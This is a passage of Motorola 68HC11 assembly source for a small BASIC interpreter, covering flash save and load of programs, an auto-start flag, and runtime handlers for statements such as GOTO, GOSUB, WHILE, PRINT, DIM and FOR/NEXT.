error jmp RPTERR ; erase flash sector and save basic program CESAVE5 jsr FL_RAM ; check/copy to RAM sei ; disable interrupts clra ; first sector of bank 0 jsr FL_BE-FLRC_SA+FL2RAM ; erase sector now cli ; re-enable interrupts clra ; first sector of bank 0 jsr FL_EC ; erase check bcc CESAVE6 ; yes, erased lda #FLERERR ; no, report error jmp RPTERR ; save basic program info variables (10 bytes) CESAVE6 ldy #PSSTART ; target, start of the program storage in FLASH ldx #BASBEG ; source ldb #4 ; byte count stb COUNT ; " CESAVE3 ldd ,x ; get byte subd RAMSTART ; ?? (offset = RAM base address) jsr WRITE ; save 1st byte (A) iny ; next target address tba ; move B to A jsr WRITE ; save 2nd byte (B) iny ; next target address inx:2 ; next source address dec COUNT ; counter -1 bne CESAVE3 ; loop ldd ,x ; get byte jsr WRITE ; save 1st byte iny ; next target address tba ; move B to A jsr WRITE ; save 2nd byte ; loop to save program ldy #PSSTART ; target address xgdy ; \ addd #SSTART ; | add SSTART to Y xgdy ; / ldx BASBEG ; source address CESAVE4 lda ,x ; get byte jsr WRITE ; save byte iny inx cpx VAREND ; finished ? bls CESAVE4 ; no rts ; RETURN. ;*********** ; load program info variables CELOAD ldx #PSSTART ; point to the start of the program storage FLASH. ldy #BASBEG ; point to the start of the program pointer storage area. ldb #4 ; number of words to move. stb COUNT ; save the count. CELOAD3 ldd ,x ; get the offset that was saved. cmpd #$FFFF ; check data bne CELOAD5 ; yes, program to load lda #$AA ; \ ldy #ASFLAG ; | erase auto-start flag jsr WRITE ; / lda #NOFLPROG ; no, report error jmp RPTERR CELOAD5 addd RAMSTART ; add the starting address of the RAM to it. std ,y ; save the resulting pointer inx:2 ; point to the next offset. iny:2 ; point to the next pointer in RAM dec COUNT ; have we gotten all the pointers yet? bne CELOAD3 ; no. keep going. ldd ,x ; yes. get the high line number. std ,y ; save it in RAM. ; now load the actual program from EEPROM ldx #PSSTART ; point to the start of the EEPROM ldy BASBEG ; point to the start of the BASIC program buffer. CELOAD4 lda SSTART,X ; get a byte of the program. sta ,y ; put it in the program buffer. inx ; point to the next program byte iny ; point to the next buffer location. cpy VAREND ; have we finished loading the program. bls CELOAD4 ; no. keep loading. sty STRASTG ; yes. initialize the array storage area. rts ; RETURN. ;************ CLLIST lda #$01 ; USE DEVICE #1 FOR HARD COPY LISTING. sta DEVNUM jsr CLIST ; GO DO A STANDARD LIST COMMAND. clr DEVNUM rts ; RETURN. ;************ ; set/clear the auto-start flag CAUTOST lda #$55 ; set the auto-start flag CAUTOST1 ldy #ASFLAG ; flag address jsr WRITE ; save it rts ; return CNOAUTO lda #$AA ; erase the auto-start flag bra CAUTOST1 ; now ;************ AUTOLOAD ldx #PSSTART ldd #PSSTART addd #SSTART std BASBEG ldd #PSSTART addd SBASEND,x addd #SSTART std BASEND ldd SVAREND,x subd SVARBEG,x addd #RAMSTART std VAREND ldd #RAMSTART std VARBEGIN xgdy ldd #PSSTART addd SVARBEG,X xgdx bra CELOAD4 ;************ CFREE jsr NL2 ldd VARMEND subd STRASTG jsr OUTDECI jsr NL rts #ifdef CDUMP jsr NL2 ; PRINT TWO BLANK LINES. clr DNAME+2 ; ZERO THE LAST BYTE OF THE VARIABLE NAME 'ARRAY' ldx VARBEGIN ; POINT TO THE START OF THE VARIABLE TABLE. CDUMP2 lda ,X ; GET AN ENTRY. IS IT THE END OF THE TABLE? bne CDUMP3 ; YES. WE'RE DONE. rts CDUMP3 lda 1,X ; NO. GET THE FIRST CHARACTER OF THE NAME. sta DNAME lda 2,X sta DNAME+1 ldx #DNAME jsr PL lda ,X ; GET THE VARIABLE TOKEN. cmpa #IVARTOK ; IS IT AN INTEGER? beq CDUMP9 ; YES. DUMP ITS VALUE. cmpa #IAVARTOK ; NO. IS IT AN INTEGER ARRAY? bne CDUMP99 ; NO. ldd 3,X ; YES. GET THE POINTER TO THE ARRAY STORAGE. HAS IT BEEN DIMENSIONED? bne CDUMP5 ; YES. GO PRINT ALL THE VALUES. ldx #UNDIM jsr PL CDUMP6 ldb #5 abx bra CDUMP2 CDUMP5 pshx ; SAVE THE POINTER TO THE VARIABLE TABLE. xgdx ; POINT TO THE ARRAY STORAGE AREA. ldd ,X ; GET THE MAXIMUM SUBSCRIPT. std SUBMAX clrd std SUBCNT CDUMP77 lda #'(' jsr OUTBYTE ldd SUBCNT jsr OUTDECI ldx #CPEQ jsr PL inx:2 ldd ,X jsr OUTDECI jsr NL ldd SUBCNT addd #1 cmpd SUBMAX bhi CDUMP88 std SUBCNT ldx #DNAME jsr PL bra CDUMP77 CDUMP88 pulx bra CDUMP6 CDUMP9 lda #'=' jsr OUTBYTE ldd 3,X jsr OUTDECI jsr NL bra CDUMP6 UNDIM fcs '=[?]' CPEQ fcs ')=' #endif ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ; #Include RUNTIME1.ASM ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** RREM equ * ; NON-EXECUTIBLE STATEMENT JUST SKIP IT. RDATA ldb ,y ; GET LENGTH OF REMARK OR DATA LINE. aby ; POINT TO THE EOLTOK. rts ; RETURN. RLET lda ,y ; GET VARIABLE FLAG. bsr RVARPTR ; GET POINTER TO ASIGNMENT VARIABLE. pshd ; SAVE POINTER TO VARIABLE. iny ; PUT IP PAST THE "=" TOKEN. jsr DONEXP ; EVALUATE THE EXPRESSION. jsr PULNUM ; GET VALUE INTO D. pulx ; POINT TO THE DICTIONARY ENTRY. std ,x ; STORE VALUE. rts ; BACK TO MAIN INTERPRET LOOP. RVARPTR lda ,y ; GET VARIABLE FLAG. bita #$02 ; IS IT A STRING VARIABLE? bne RVARPTR2 ; YES. GO GET POINTER FOR A STRING DESCRIPTOR. bita #$10 ; IS IT A NUMERIC ARRAY VARIABLE? bne RVARPTR1 ; YES. GO CALCULATE THE SUBSCRIPT. RVARPTR3 ldd 1,Y ; GET THE OFFSET TO THE DICTIONARY ENTRY. addd VARBEGIN ; ADD IN THE START ADDRESS OF THE DCTIONARY. addd #3 ; MAKE POINTER POINT TO THE ACTUAL STORAGE LOCATION pshb ; SAVE B. ldb #3 ; POINT TO THE FIRST ELEMENT PAST THE VARIABLE. aby pulb ; RESTORE B. rts RVARPTR1 jsr CALCSUB ; GO GET BASE ADDR & EVALUATE SUBSCRIPT EXPRESSION. pshx ; PUSH BASE ADDRESS ONTO STACK. tsx ; POINT TO IT. lsld ; MULT THE SUBSCRIPT BY THE # OF BYTES/ELEMENT. RVARPTR4 addd ,x ; GET ADDRESS OF ELEMENT. pulx ; RESTORE X. rts ; RETURN. RVARPTR2 bita #$10 ; IS IT A STRING ARRAY? beq RVARPTR3 ; NO. JUST GO GET POINTER TO DESCRIPTOR. jsr CALCSUB ; GET BASE ADDR. & CALC SUBSCRIPT. pshx ; SAVE THE BASE ADDRESS. pshd ; SAVE THE SUBSCRIPT VALUE. tsx ; POINT TO THE VALUES. lsld ; MULT BY 2. addd ,x ; MULT BY 3. ins:2 ; GET RID OF SUBSCRIPT VALUE. tsx ; POINT TO BASE ADDRESS. bra RVARPTR4 RGOTO tst IMMID ; DID WE ENTER HERE FROM THE IMMIDIATE MODE? beq RGOTO7 ; NO. JUST GO DO A GOTO. ldd BASEND ; YES. SET ADRNXLIN TO END OF PROGRAM SO THE std ADRNXLIN ; SEARCH STARTS AT THE FIRST LINE. RGOTO7 ldx ADRNXLIN ; POINT TO THE START OF THE NEXT LINE. cpx BASEND ; IS THIS THE LAST LINE OF THE PROGRAM? bne RGOTO1 ; NO. SEARCH STARTING AT THE NEXT LINE. RGOTO3 ldx BASBEG ; YES. POINT TO THE START OF THE BASIC PROGRAM. bra RGOTO2 RGOTO1 ldd ,x ; GET THE NEXT LINE NUMBER IN THE PGM. cmpd 1,Y ; IS IT > THE LINE NUMBER WE ARE TO "GOTO"? bhi RGOTO3 ; YES. START THE SEARCH AT THE BEGINING. RGOTO2 ldd ,x ; GET THE NEXT LINE NUMBER INTO D. cmpd 1,Y ; IS THIS THE CORRECT LINE? beq RGOTO4 ; YES. "GOTO" THE NEW LINE. blo RGOTO5 ; NO. IS IT LESS THAN THE "TARGET LINE"? RGOTO6 lda #LNFERR ; NO. THE LINE MUST NOT EXIST. jmp RPTRERR ; REPORT THE ERROR & RETURN TO MAIN LOOP. RGOTO5 ldb 2,X ; GET THE LENGTH OF THIS LINE. abx ; POINT TO THE START OF THE NEXT LINE. cpx BASEND ; DID WE HIT THE END OF THE PROGRAM? beq RGOTO6 ; YES. THE LINE DOESN'T EXIST. bra RGOTO2 ; NO. GO SEE IF THIS IS THE CORRECT LINE. RGOTO4 xgdx ; MAKE IT THE NEW IP. xgdy tst IMMID beq RGOTO8 clr IMMID RGOTO9 jmp CRUN1 RGOTO8 ins:2 bra RGOTO9 RGOSUB pshy ; SAVE THE I.P. TO THE LINE NUMBER. tst IMMID ; DID WE GET HERE FROM THE IMMIDIATE MODE? beq RGOSUB3 ; NO. GO DO A NORMAL GOSUB. ldy BASEND ; YES. MAKE RETURN POINT TO THE LAST EOL TOKEN dey ; IN THE PROGRAM. bra RGOSUB2 ; GO PUT IT ON THE ARGUMENT STACK. RGOSUB3 ldb #3 ; BYPASS THE LINE NUMBER. aby RGOSUB2 jsr RSKIPSPC ; SKIP SPACES AFTER THE LINE NUMBER. ldx GOSTACK ; GET THE GOSUB STACK POINTER. dex:2 ; POINT TO THE NEXT ENTRY ON THE STACK. cpx EGOSTK ; OUT OF STACK SPACE? bhs RGOSUB1 ; NO. GO PUSH THE "RETURN ADDRESS" ON THE STACK. lda #GOSOVERR ; YES. GET THE ERRCODE. jmp RPTRERR ; GO REPORT THE ERROR. RGOSUB1 stx GOSTACK ; SAVE THE "GOSUB" STACK POINTER. sty ,x ; PUT THE RETURN ADDRESS ON THE STACK. puly ; GET THE POINTER TO THE LINE NUMBER. bra RGOTO ; GO DO A "GOTO". RRETURN ldx GOSTACK ; GET THE GOSUB STACK POINTER. cpx STGOSTK ; IS THERE A RETURN ADDRESS ON THE GOSUB STACK? bne RRETURN1 ; YES. GO RETURN. lda #RWOGERR ; NO. RETURN W/O GOSUB ERROR. jmp RPTRERR ; REPORT THE ERROR. RRETURN1 ldy ,x ; GET THE RETURN ADDRESS IN THE IP. inx:2 ; REMOVE THE ADDRESS FROM THE STACK. stx GOSTACK ; SAVE THE STACK POINTER. rts ; BACK TO THE MAIN INTERPRET LOOP. RSTOP ldx #STOPSTR jsr PL ldd CURLINE jsr OUTDECI sty IPSAVE bra REND1 REND jsr NL lda #1 sta CONTFLAG REND1 clrd std CURLINE jmp MAINW STOPSTR fcb CR,LF fcs "STOPPED AT LINE # " RWHILE ldx WHSTACK ; GET THE WHILE STACK POINTER. dex:2 ; POINT TO THE NEXT STACK LOCATION. cpx EWHSTK ; ARE WE AT THE END OF THE STACK? bhs RWHILE4 ; NO. GO STACK IT. lda #WHSOVERR ; YES. WHILE STACK OVER FLOW. jmp RPTRERR ; REPORT THE ERROR. RWHILE4 stx WHSTACK ; SAVE THE WHILE STACK POINTER. sty ,x ; PUT IT ON THE STACK. ldb #$01 ; GET THE WHILE COUNT INTO B. (FOR NESTED WHILE'S) RWHILE3 pshb ldy ADRNXLIN ; GET THE ADDRESS OF THE NEXT LINE. bne RWHILE2 rts RWHILE2 pshy ; SAVE THE IP. cpy BASEND ; ARE WE AT THE END OF THE PROGRAM? beq REND ; YES. DO AN END. ldx ADRNXLIN ; NO. GET THE ADDRESS OF THE NEXT LINE IN X. ldb 2,X ; GET THE LENGTH OF THIS LINE. abx ; POINT TO THE START OF THE NEXT LINE. stx ADRNXLIN ; SAVE IT. ldb #3 ; POINT PAST THE LINE NUMBER & LINE LENGTH. aby jsr RSKIPSPC ; SKIP ANY SPACES. lda ,y ; GET THE KEYWORD TOKEN. puly ; RESTORE THE IP. pulb ; GET THE NESTED WHILE COUNT. cmpa #WHILETOK ; IS IT ANOTHER WHILE? bne RWHILE1 ; NO. GO CHECK FOR ENDWH. incb ; YES. UP THE NESTED WHILE COUNT. RWHILE1 cmpa #ENDWHTOK ; IS IT THE END WHILE STATEMENT? bne RWHILE3 ; NO. GO LOOK AT THE NEXT LINE. decb ; YES. IS IT THE CORRECT 'ENDWH'? bne RWHILE3 ; NO. LOOK FOR ANOTHER ONE. jmp RGOTO8 ; BACK TO INTERPRET LOOP. RENDWH ldx WHSTACK ; GET THE WHILE STACK POINTER. cpx STWHSTK ; HAS A WHILE STATEMENT BEEN EXECUTED? bne RENDWH1 ; YES. GO GET THE ADDRESS OF THE WHILE STATEMENT. lda #ENDWHERR ; NO. GET ENDWHILE ERROR. jmp RPTRERR ; REPORT THE ERROR. RENDWH1 pshy ; SAVE THE IP IN CASE THE WHILE TEST FAILS. ldy ,x ; GET THE IP POINTER TO THE WHILE EXPRESSION. jsr DONEXP ; YES. GO EVALUATE A NUMERIC EXPRESSION. jsr PULNUM ; GET RESULT OFF NUMERIC STACK. IS IT TRUE? bne RENDWH3 ; YES. GO EXECUTE CODE BETWEEN WHILE & ENDWH. puly ; NO. GET THE ADDRESS OF THE NEXT LINE/STATEMENT. ldx WHSTACK ; GET WHILE STACK POINTER. inx ; TAKE ADDRESS OFF OF WHILE STACK. inx stx WHSTACK ; SAVE STACK POINTER. rts ; GO TO INTERPRET LOOP. RENDWH3 ins:2 ; REMOVE POINTER TO STATEMENT AFTER "ENDWH" FROM STACK. rts ; GO EXECUTE LINES TILL "ENDWH". RON jsr DONEXP ; GO EVALUATE THE EXPRESSION. jsr RSKIPSPC ; SKIP SPACES AFTER EXPRESSION. lda ,y ; GET EITHER "GOTO" OR "GOSUB" TOKEN. psha ; SAVE IT. iny ; POINT TO NEXT TOKEN. jsr RSKIPSPC ; SKIP SPACES. ldx NUMSTACK ; POINT TO THE OPERAND STACK. ldd ,x ; GET EXPRESSION VALUE. bpl RON1 ; IS IT NEGATIVE? bne RON1 ; OR ZERO? RON5 lda #ONARGERR ; YES. REPORT ERROR. jmp RPTRERR RON1 ldd ,x ; GET THE EXPRESSION VALUE. subd #1 ; SUBTRACT 1. HAVE WE FOUND THE LINE NUMBER? beq RON4 ; YES. GO DO "GOTO" OR "GOSUB". std ,x ; NO. SAVE REMAINDER. ldb #3 ; POINT PAST THE LINE NUMBER VALUE. aby jsr RSKIPSPC ; SKIP SPACES PAST THE LINE NUMBER. lda ,y ; GET NEXT TOKEN. cmpa #EOLTOK ; HAVE WE HIT THE END OF THE LINE? beq RON5 ; YES. ERROR. RON3 iny ; NO. MUST BE A COMMA. BYPASS IT. jsr RSKIPSPC ; SKIP SPACES AFTER THE COMMA. bra RON1 ; GO SEE IF THE NEXT LINE NUMBER IS THE ONE. RON4 jsr PULNUM ; GET RID OF ARGUMENT. pula ; GET "GO" TOKEN. cmpa #GOTOTOK ; IS IT A "GOTO" TOKEN? bne RON6 ; NO. MUST BE A "GOSUB" jmp RGOTO ; GO DO A "GOTO". RON6 pshy ; SAVE THE POINTER TO THE LINE NUMBER. RON8 ldb #3 ; POINT PAST THE LINE NUMBER. aby jsr RSKIPSPC ; SKIP SPACES AFTER LINE NUMBER. lda ,y ; GET NEXT TERMINATOR CHARACTER. cmpa #EOLTOK ; HIT THE END OF THE LINE YET? beq RON7 ; YES. GO DO THE GOSUB. cmpa #MEOLTOK ; NO. HIT THE LOGICAL END OF THE LINE YET? beq RON7 ; YES. GO DO THE GOSUB. iny ; NO. MUST BE A COMMA. jsr RSKIPSPC ; SKIP SPACES AFTER THE COMMA. bra RON8 ; GO FIND THE END OF THE LINE. RON7 jmp RGOSUB2 ; GO DO A "GOSUB". RPOKE iny ; PASS UP THE OPEN PAREN. jsr RSKIPSPC ; PASS UP ANY SPACES. jsr DONEXP ; GO EVALUATE THE ADDRESS EXPRESSION. jsr RSKIPSPC ; SKIP ANY SPACES. iny ; SKIP THE COMMA. jsr RSKIPSPC ; SKIP ANY SPACES. jsr DONEXP ; GET THE VALUE TO PUT INTO MEMORY. iny ; PASS UP THE CLOSING PAREN. jsr PULNUM ; GET THE MEMORY VALUE. xgdx ; SAVE IT. jsr PULNUM ; GET THE ADDRESS. xgdx ; PUT ADDRESS INTO X & MEM VALUE INTO D. stb ,x ; PUT VALUE INTO MEMORY. rts ; BACK TO THE INTERPRET LOOP. RPORTA ldb #PORTAIO RPORTA1 ldx IOBASEV ; GET ADDRESS OF PORTA I/O REGISTER. abx pshx ; SAVE POINTER TO VARIABLE. iny ; PUT IP PAST THE "=" TOKEN. jsr DONEXP ; EVALUATE THE EXPRESSION. jsr PULNUM ; GET VALUE INTO D. tsta ; IS THE VALUE <0 AND >255? beq RPORTA2 ; NO. GO PUT THE VALUE IN THE PORT. lda #PRTASERR ; YES. ERROR. jmp RPTRERR ; REPORT THE ERROR. RPORTA2 pulx ; POINT TO THE DICTIONARY ENTRY. stb ,x ; STORE VALUE. rts ; BACK TO MAIN INTERPRET LOOP. RPORTB ldb #PORTBIO ; GET ADDRESS OF PORTB I/O REGISTER. bra RPORTA1 ; GO DO AN ASIGNMENT. RPORTC ldb #PORTCIO ; GET ADDRESS OF PORTC I/O REGISTER. bra RPORTA1 ; GO DO AN ASIGNMENT. RPORTD ldb #PORTDIO ; GET ADDRESS OF PORTD I/O REGISTER. bra RPORTA1 ; GO DO AN ASIGNMENT. ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ; #Include RUNTIME2.ASM ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** RTRON lda #$FF ; SET FLAG TO TURN TRACE MODE ON. sta TRFLAG ; PUT IT IN THE FLAG BYTE. rts ; BACK TO THE INTERPRET LOOP. RTROFF clr TRFLAG ; TURN THE TRACE MODE OFF. rts ; BACK TO THE INTERPRET LOOP. RSLEEP sei ; DON'T ALLOW AN INTERRUPT TO BRING US OUT OF THE SLEEP MODE. tpa ; GET THE CONDITION CODE REGISTER. anda #$7F ; CLEAR THE STOP BIT tap ; TRANSFER THE RESULT BACK TO THE CCR. stop ; HALT THE CPU. tpa ; ON EXIT FROM THE STOP MODE, GET THE CCR. ora #$80 ; DISABLE THE STOP INSTRUCTION. tap ; TRANSFER THE RESULT BACK TO THE CCR. cli ; ALLOW INTERRUPTS. rts ; RETURN TO WHAT WE WERE DOING. RPRINT jsr CHCKDEV ; GO CHECK FOR ALTERNATE OUTPUT DEVICE. lda ,y ; GET FIRST TOKEN. cmpa #EOLTOK ; IS IT AN EOL TOKEN? beq RPRINT1 ; YES. JUST PRINT A CR/LF. cmpa #MEOLTOK ; IS IT A MID EOL TOKEN? bne RPRINT2 ; NO. GO PRINT A STRING OR NUMBER. RPRINT1 jsr NL ; YES. JUST PRINT A CR/LF. clr DEVNUM ; GO BACK TO DEVICE #0. rts ; BACK TO MAIN INTERPRET LOOP. RPRINT2 cmpa #SCONTOK ; IS IT A STRING CONSTANT? bne RPRINT3 ; NO. GO CHECK FOR A "PRINT FUNCTION". pshy ldb #2 ; COMPENSATE FOR CONSTANT & LENGTH BYTE. addb 1,Y ; ADD IN LENGTH BYTE. aby ; POINT BEYOND PROMPT. pulx ; GET POINTER INTO X. inx ; POINT TO LENGTH BYTE. ldb ,x ; GET IT. subb #2 ; SUBTRACT OUT THE DELIMETER COUNT. inx ; POINT TO STRING. inx jsr OUTSTR ; GO PRINT THE STRING. bra RPRINT4 ; GO DO NEXT EXPRESSION. RPRINT3 cmpa #FUNCTFLG ; IS IT A FUNCTION? bne RPRINT10 ; NO. GO EVALUATE A NUMERIC EXPRESSION. lda 1,Y ; GET THE FUNCTION TYPE. cmpa #TABTOK ; IS IT A TAB? bne RPRINT11 ; NO GO CHECK FOR "CHR$". bsr RTAB ; GO DO TAB. bra RPRINT4 ; GO SEE IF THERE'S MORE TO PRINT. RPRINT11 cmpa #CHRTOK ; IS IT THE CHR$ FUNCTION. bne RPRINT12 ; NO. GO CHECK FOR HEX(). bsr RCHRS ; YES. GO DO CHR$. bra RPRINT4 ; GO SEE IF THERE'S MORE TO PRINT. RPRINT12 cmpa #HEXTOK ; IS IT THE HEX() FUNCTION? bne RPRINT10 ; NO. GO DO A NUMERIC EXPRESSION. bsr RHEX ; YES. GO PRINT THE NUMBER AS HEX. bra RPRINT4 ; GO SEE IF THERE'S MORE TO PRINT. RPRINT10 cmpa #HEX2TOK ; IS IT THE HEX2() FUNCTION? bne RPRINT14 ; NO. GO DO A NUMERIC EXPRESSION. bsr RHEX2 ; YES GO PRINT A NUMBER >=255 AS 2 HEX BYTES. bra RPRINT4 ; GO SEE IF THERE'S MORE TO PRINT. RPRINT14 jsr DONEXP ; GO DO A NUMERIC EXPRESSION. jsr PULNUM ; GET THE NUMBER OFF THE NUMERIC STACK. jsr OUTDECI ; PRINT IT. lda #SPC ; PUT A TRAILING SPACE AFTER ALL NUMBERS. jsr OUTBYTE ; PRINT IT. RPRINT4 jsr RSKIPSPC ; SKIP SPACES. lda ,y ; GET SEPERATOR CHARACTER. cmpa #COMMATOK ; IS IT A COMMA? beq RPRINT5 ; NO. cmpa #SEMITOK ; IS IT A SEMICOLIN? bne RPRINT6 ; NO. MUST BE AN EOLTOK. iny ; DO NOTHING BUT BUMP THE IP. bra RPRINT7 ; GO CHECK FOR EOL AFTER COMMA OR SEMICOLIN. RPRINT5 iny ; BUMP IP PAST THE COMMATOK. ldb PRINTPOS ; YES. "TAB" TO NEXT PRINT FIELD. andb #$07 ; MASK OFF ALL BUT THE FIELD WIDTH. negb ; MAKE IT NEGATIVE. addb #8 ; ADD IN THE FIELD WIDTH. ARE WE ON A FIELD BOUND? beq RPRINT7 ; YES. GO CHECK FOR AN EOL. lda #SPC ; NO. GET A SPACE & PRINT TILL WE GET THERE. RPRINT8 jsr OUTBYTE ; PRINT A SPACE. decb ; DECREMENT THE COUNT. ARE WE DONE? bne RPRINT8 ; NO. KEEP GOING. RPRINT7 jsr RSKIPSPC ; SKIP ANY SPACES. lda ,y ; GET THE NEXT TOKEN IN THE LINE. cmpa #EOLTOK ; IS IT AN EOL TOKEN? beq RPRINT9 ; YES. DONT DO A CR/LF AFTER A COMMA OR SEMI. cmpa #MEOLTOK ; NO. IS IT A MID EOL? beq RPRINT9 ; SAME AS BEFORE. jmp RPRINT2 ; IF NEITHER, GO PRINT THE NEXT EXPRESSION. RPRINT6 jsr NL ; DO A CR/LF IF EOL OR MIDEOL FOLLOWS EXPRESSION. RPRINT9 clr DEVNUM ; GO BACK TO DEVICE #0. rts ; GO DO NEXT LINE. RTAB bsr PFUNCOM ; GO GET ARG. & CHECK MAGNITUDE. IS ARG. OK? beq RTAB1 ; YES. GO DO TAB. lda #TABARGER ; NO. ERROR. RTAB3 jmp RPTRERR ; REPORT ERROR. RTAB1 cmpb PRINTPOS ; ARE WE ALREADY PAST THE "TAB" POSITION? bls :AnRTS ; YES. DONE. lda #SPC ; GET A SPACE. jsr OUTBYTE ; PRINT IT. bra RTAB1 RCHRS bsr PFUNCOM ; GO GET ARG. & CHECK MAGNITUDE. IS ARG. OK? beq RCHRS1 ; YES. GO DO TAB. lda #CHRARGER ; NO. ERROR. bra RTAB3 ; REPORT ERROR. RCHRS1 tba ; PUT BYTE INTO A jmp OUTBYTE ; PRINT THE BYTE & RETURN. RHEX2 bsr PFUNCOM ; GO GET ARG. & CHECK MAGNITUDE. IS ARG. OK? beq RHEX1 ; YES. GO PRINT 2 HEX CHARACTERS & RETURN. lda #HEX2AERR ; NO. ARG. MUST BE >=0 & <=255. bra RTAB3 ; GO REPORT ERROR. RHEX bsr PFUNCOM ; GO DO COMMON CODE FOR PRINT FUNCTIONS bsr PRNT2HEX ; GO PRINT 2 HEX CHARACTERS. RHEX1 tba ; PUT LOWER BYTE IN A. ; FALL THRU TO PRNT2HEX CHARACTERS & RETURN. PRNT2HEX psha ; SAVE THE CHARACTER. bsr PRNTHXL ; PRINT THE LEFT HEX NYBBLE. pula ; GET BYTE BACK. bra PRNTHXR ; PRINT RIGHT NYBBLE & RETURN. PRNTHXL lsra:4 ; GET UPPER NYBBLE INTO LOWER ONE. PRNTHXR anda #$0F ; MASK OFF UPPER NYBBLE. adda #$90 daa adca #$40 daa jmp OUTBYTE ; PRINT IT & RETURN. PFUNCOM ldb #3 ; POINT PAST FUNCTION FLAG, FUNCTION TOKEN, & aby ; OPEN PAREN. jsr DONEXP ; GO GET POSITION TO TAB TO. iny ; BUMP IP PAST CLOSING PAREN. jsr PULNUM ; GET OPERAND OFF STACK. tsta ; CHECK THAT OPERAND IS >0 & <=255 FOR FUNCTIONS ; THAT REQUIRE IT. rts ; RETURN. RDIM lda ,y ; GET VARIABLE FLAG/TYPE. bita #$10 ; IS IT A SUBSCRIPTED VARIABLE? bne RDIM1 ; YES. GO DIMENSION IT. lda #NOSUBERR ; NO. GET ERROR. RDIM3 jmp RPTRERR ; GO REPORT THE ERROR. RDIM1 ldd 1,Y ; GET THE OFFSET INTO THE DICTIONARY. addd VARBEGIN ; ADD IN THE START OF THE DICTIONARY. xgdx ; PUT THE ADDRESS INTO X. ldd 3,X ; GET THE POINTER TO THE STORAGE. BEEN DIMENSIONED? beq RDIM2 ; NO. GO DIMENSION IT. lda #REDIMERR ; YES. ERROR. bra RDIM3 RDIM2 pshx ; SAVE THE POINTER TO THE DICTIONARY. ldb #4 ; POINT TO 1ST TOKEN IN EXPRESSION. aby jsr DONEXP ; EVALUATE THE SUBSCRIPT. iny ; PASS UP THE CLOSING PAREN. pulx ; RESTORE POINTER TO DICTIONARY. ldd STRASTG ; GET THE DYNAMIC MEMORY POOL POINTER. std 3,X ; PUT THE POINTER IN THE DICTIONARY ENTRY. addd #2 ; UP THE POINTER. std STRASTG ; SAVE NEW POINTER FOR NOW. jsr PULNUM ; GET SUBSCRIPT OFF OF NUMERIC STACK. bpl RDIM8 ; ONLY POSITIVE SUBSCRIPTS ALLOWED. lda #NEGSUBER ; NEGATIVE NUMBER. bra RDIM9 ; REPORT ERROR. RDIM8 pshx ldx 3,X ; GET POINTER TO STORAGE. std ,x ; PUT MAX SUBSCRIPT IN POOL STORAGE. addd #1 ; COMPENSATE FOR "0" SUBSCRIPT. pulx ; RESTORE POINTER TO DICTIONARY ENTRY. lsld ; MULT. BY 2 (2 BYTES/INTEGER). addd STRASTG ; ADD IN CURRENT POINTER TO POOL. cmpd STRASTG ; WAS THE SUBSCRIPT SO BIG WE WRAPPED AROUND? bls RDIM4 ; YES. ERROR. cmpd VARMEND ; DO WE HAVE ENOUGH MEMORY? bls RDIM5 ; YES. RDIM4 lda #OMEMERR ; NO. ERROR. RDIM9 jmp RPTRERR ; GO REPORT THE ERROR. RDIM5 std STRASTG ; SAVE POINTER. ldx 3,X ; POINT TO START OF STORAGE. inx inx ; POINT PAST THE SUBSCRIPT LIMIT. RDIM6 clr ,x ; CLEAR THE STORAGE. inx ; POINT TO THE NEXT LOCATION. cpx STRASTG ; ARE WE DONE? bne RDIM6 ; NO. KEEP GOING. jsr RSKIPSPC ; SKIP SPACES. lda ,y ; GET THE NEXT CHARACTER. cmpa #EOLTOK ; ARE WE AT THE END OF THE LINE. beq :AnRTS ; YES. iny ; BUMP IP PAST THE COMMA. jsr RSKIPSPC ; SKIP SPACES. bra RDIM ; DO DIMENSION THE NEXT VARIABLE. ;****************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ; #Include RUNTIME3.ASM ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** RFOR ldd FORSTACK ; GET FOR STACK POINTER. subd #10 ; ALLOCATE NEW FOR-NEXT DESCRIPTOR BLOCK. cmpd EFORSTK ; HAVE WE RUN OUT OF FOR-NEXT STACK SPACE? bhs RFOR1 ; NO. CONTINUE. lda #FORNXERR ; YES. ERROR. jmp RPTRERR ; REPORT ERROR. RFOR1 std FORSTACK ; SAVE NEW STACK POINTER. pshy ; SAVE IP ON STACK. jsr RVARPTR ; GET POINTER TO ASIGNMENT VARIABLE. puly ; RESTORE IP. ldx FORSTACK ; GET FOR STACK POINTER. std ,x ; PUT POINTER TO CONTROL VARIABLE IN STACK. ldd CURLINE ; GET CURRENT LINE NUMBER. std 8,X ; SAVE CURRENT LINE NUMBER IN STACK. jsr RLET ; GO DO ASIGNMENT PART OF FOR. jsr RSKIPSPC ; SKIP SPACES. iny ; SKIP PAST "TO" TOKEN. jsr RSKIPSPC ; SKIP SPACES. jsr DONEXP ; CALCULATE THE TERMINATING LOOP VALUE. jsr PULNUM ; GET NUMBER OFF OF THE STACK. ldx FORSTACK ; GET STACK POINTER. std 4,X ; PUT VALUE IN STACK BLOCK. ldd #1 ; ASSUME A "STEP" VALUE OF 1. RFOR3 std 2,X ; PUT IT IN THE STACK. jsr RSKIPSPC ; SKIP SPACES. lda ,y ; GET NEXT TOKEN. cmpa #STEPTOK ; IS THE STEP CLAUSE PRESENT? beq RFOR2 ; YES. GO GET THE "STEP" VALUE. sty 6,X ; PUT TERMINATING CHARACTER OF "FOR" STATEMENT ON. rts ; EXECUTE NEXT STATEMENT. RFOR2 iny ; SKIP PAST THE "STEP" TOKEN. jsr RSKIPSPC ; SKIP SPACES. jsr DONEXP ; GO CALCULATE THE "STEP" VALUE. jsr PULNUM ; GET VALUE OFF OPERAND STACK. ldx FORSTACK ; GET POINTER TO FOR STACK. bra RFOR3 ; GO PUT VALUE IN STACK. RNEXT jsr RVARPTR ; GET POINTER TO LOOP INDEX VARIABLE. ldx FORSTACK ; GET "FOR" STACK POINTER. cmpd ,x ; IS THE LOOP VARIABLE THE SAME? beq RNEXT1 ; YES. CONTINUE. lda #MFRNXERR ; NO. ERROR. jmp RPTRERR ; GO REPORT IT. RNEXT1 pshy ; SAVE IP. ldy ,x ; GET POINTER TO CONTROL VARIABLE. ldd ,y ; GET CONTROL VARIABLE VALUE. addd 2,X ; ADD THE 